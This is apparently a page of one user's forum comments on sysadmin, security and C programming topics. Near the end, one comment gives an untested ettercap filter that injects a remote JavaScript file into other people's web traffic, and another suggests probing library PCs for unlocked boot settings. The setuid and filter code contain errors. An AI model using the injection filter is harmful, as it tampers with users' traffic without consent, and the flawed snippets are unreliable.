Jason Cooper

If your security relies on hiding the version number of the software that you are using then you have real problems. Having version numbers picked up by scanners and other software can also help sysadmins keep track of what versions are in use and plan which ones to upgrade next.

If your machine has a serial port on it then you could make a simple microcontroller that takes it's power from the usb port and passes this to the fan when requested. It shouldn't be too hard a project, just check the microcontroller that you use will run at 5v to keep things simple in the design.

Usually by typing commands into your computer by walking across the keyboard :) Of course dogs will usually just chew the keyboard and children will poor drinks into the keyboard.

Sudden thought are you using selinux?

That is very odd. what happens if you run whoami on the command line?

What do you get from "ls -n" as it should be picking up the owner of the exectables UID.

Did you chmod the executable with 4755 and make sure the owner of the executable is root (Sorry, forgot to mention that bit)

If he has stopped his site then a little message on there would be good and leaving up all the information/posts would be great. Of course his site may have been hacked but I would have thought he would have fixed it by now.

The easiest way would be to create a program as root that you can setuid. This will let the program become root when it is called and as root you will avoid the problems of different users. Here is a program you should be able to compile with gcc and all you will need to do is change the system call to run your restart script (if you have a script in the /etc/init.d directory for your service then calling that with restart should be enough) Once you have compiled it you will need the chmod 4755 the executable to set the setuid bit. #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main(void) { setresuid(0); system("whoami"); return EXIT_SUCCESS; } Other options would be to have the apache user set up for sudo without entering a password but even in that case you want to limit their sudo to only run the one script. Both these ways work out the be the same as the sudo command is a setuid executable that just has a lot more options.

How many guesses do you get? Or to put it another way what is stopping me trying all 10000 possible pins (other than bordem)

Try a live linux CD and see if it can see your drive. If not then it has well and truely died and will need to be looked at by a professional (i.e. will cost a lot of money). If it can see it then copy as much off as possible as you don't know how long the drive will last.

First a simple way to find their IP (though it depends on how their systems are set up) is to email them with a question and then look in the headers of their reply email. This usually gives their IP away of the person sending the email. The other question is that an attacker would normally work their way out rather than in. So for example they would find a way to exploit a script running on the web which would give them access as the web server on the virtual machine. From this they then work away to get shell access to the virtual machine, then they would work on getting root access to the virtual machine, then they may try and figure out if they are on virtual machine and then only after that would they try to access the physical host machine. Of course sometimes they would have run a network map and found a way into the physical host machine first then discover that it is running a number of virtual machines and worked their way down, but this is less likely as the virtual machines tend to be more public facing than the host machine.

I don't know how many computers you have in your library but I would suggest that you check to see if you boot from USB/CD on each of them (assuming you have access to the USB ports and CD drives) as anyone who deals with a large number of PCs will tell you there is always the chance that one of the BIOS's have not been locked down. (This happens more on the BIOSs that don't let you have a locked down boot menu so you have to add in the option to boot from CD or USB whenever you are reinstalling the machine). The more machines the better your chances of finding one that has slipped through, though don't just sit at one machine then the next and then the next, take your time and try them over the period of a couple of months. Of course if you do try and do this you will probably draw the attention of those people responsible for them and so at best you should assume that you will be banned from using the machines and at worst find yourself in court. For those of you reading this who maintain a large number of PCs then it is worth going round them all checking the BIOS settings every now and again (And if the BIOS supports it putting a password protected boot menu in place on them as that will reduce the need to change the BIOS settings in the future.)

The big problem I have with Wikipedia is that it ends up being self referencing. People go there and get information but don't distinguish between what is backed up with a reference and what isn't. They then publish this information in their own public reports/articles which someone later uses as a reference to back up what was originally in wikipedia. This isn't a good way to keep the information acurate, it would be far better in my opinion if any information without a reference wasn't publicly available on wikipedia.

What is there reasoning behind all of this? I am sure there are lot of better ways of doing this than opening up your system to such a large number of IP Addresses. Recently we had a supplier that told us that to run their system we needed to make sure that IP Tables wasn't running. Strangely enough once I had figured out the ports they used and actually added in the required rules, then IPTables worked fine.

Arrays in C use an offset for indexing (i.e. the first element is 0). So, for example, when you want to loop through a 50 elements you want your loop to run from 0 to 49 so you usually find that in the for loop you want to compare against one less than the number the user entered.

The point being that if the client side is converting your password to a hash and sending that hash to the server the person sniffing on the network will just adjust their copy of the client side stuff to send your hash. As they have the hash they can still try and crack it to regain your password, but the key point being if the attacker somehow managed to find an exploit on the server that lets them grab users hashes, there would be no need to crack them as they only would need the hash to log in, so as I said it would weaken the security provided by using hashes. If you are using different passwords for each site you log into then it shouldn't matter if they have your password or hash in the scenario described, both will get them the same distance into the system as you without them or rather their machines having to much work.

If you hash it on the local client and send the hash to the server then you actually weaken the security as the attacker could just grab your hash off the wire and then use that to login without having to break it. You could use a set of challenges and responses to remove the need to send the password or hash over the wire but that will put a lot of complexity into the client side code. All in all I think the easiest and best setup is to be running all the important stuff over SSL, that way at least they need the servers private key to be able to sniff the traffic and decrypt it. In this case it sounds like they had this sort of access (but maybe not the skill or knowledge to sniff SSL).

Considering the login runs over http and not https they just seem to have run a simple sniffer on ther server and pulled out a long list. (That is why there are a number of passwords in the list for the same users, usually the first one contains a typo.) Now if it the logins ran over https it would have made things a bit more difficult for them, they would have had to log a lot more information and then use the SSL private key from the server to decrypt the sniffed traffic. They would have had access to the private key by the looks of it. Wouldl they have gone that effort (Or would they have known how to do that) is an interesting question as the other sites that they broke into either required them to crack hashes or had the passwords stored in plain text.

IT jobs can be really great or really bad. If you get stuck just answering questions on a phone or on a help desk then things tend to get pretty boring (There are only so many times that you can tell a user to restart their machine before you loose your sanity). On the other hand if you get to work in a variety of areas then it can be really rewarding. I would suggest avoiding going for jobs in a help desk/ tech support positions in a large organisation's I.T. department and try to aim for the smaller support jobs in individual departments as you will find that the job is usually more varied if there are only a few of you in the team. On to your actual question though, my days are very varied but there is usually a lot of programming and system administration involved as well as some tech support.

In my backpack I have the following: General Computer Stuff: EEEpc 900 + charger, SD Cards, USB flash drives, Cables (VGA, Network, USB 2 Serial, etc), GP2X Wiz Stuff Required as I cycle to work: Water Proofs, Puncture Repair Kit, Spanners, Allen Keys, Screwdriver Generic Stuff paper, pens, pencil

I have had a quick look, not exactly how I would tackle the job but then as you are learning it is a reasonable way to tackle the task. I have made a few changes, mainly removing the scanf's and replacing them with fgets's followed by atoi to convert the string into and integer. I also changed the structure of your code slightly so that you don't keep running pointless checks (that sort of thing doesn't make a noticable difference at this sort of thing but once you start coding apps that need to process massive amounts of data it will be very noticable). #include <stdio.h> #include <stdlib.h> #define BUFFER_SIZE 50 int main(int argc, char ** argv) { char input[BUFFER_SIZE]; int array[50]; int numstoadd=0; int total = 0; int i; printf("How many numbers would you like to add?\n"); while(!numstoadd) { fgets(input, BUFFER_SIZE, stdin); numstoadd=atoi(input); if(numstoadd < 2) { printf("Please use at least two numbers.\n"); } else if(numstoadd > 50) { printf("Fifty number limit, just cuz I said. :)\n"); } } for( i = 0; i < numstoadd; i++) { printf("\nEnter number => "); fgets(input, BUFFER_SIZE, stdin); array[i]=atoi(input); total = total + array[i]; } for( i = 0; i < numstoadd - 1; i++) { printf("%d + ", array[i]); } printf("%d = %d", array[numstoadd - 1], total); fflush(stdin); getchar(); return EXIT_SUCCESS; }

Did anyone else think it was ironic that the site was running on a shared host after all the episodes recently on virtual servers :) Seriously though, well done Matt and the rest of those that helped get the site back up. When these things happen (and things like this happen to everyone in the industry at sometime) it takes a lot of effort to get the site restored, up, running and secured. You all deserve a beer or two after that.

You could use a filter like this to add extra javascript into their web pages. The only down side to this is that you will risk the end of the their html file being cut off (Though the regular expressions dropping the generator and keywords from the html streams should avoid that for most pages.) Note: I haven't actually tested this but it is based on one of my known working filters and aslong as ettercap has been compiled with libpcre support it should work (though you may need to fix a few bugs) if (ip.proto == TCP && tcp.src == 80){ pcre_regex(DATA.data,"<meta name=\"generator\" content=.*?>", ""); pcre_regex(DATA.data,"<meta name=\"keywords\" content=.*?>", ""); replace("</head>", "<script src="tiny Url to your javascript file"></script></head>")); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); } }

I just used ********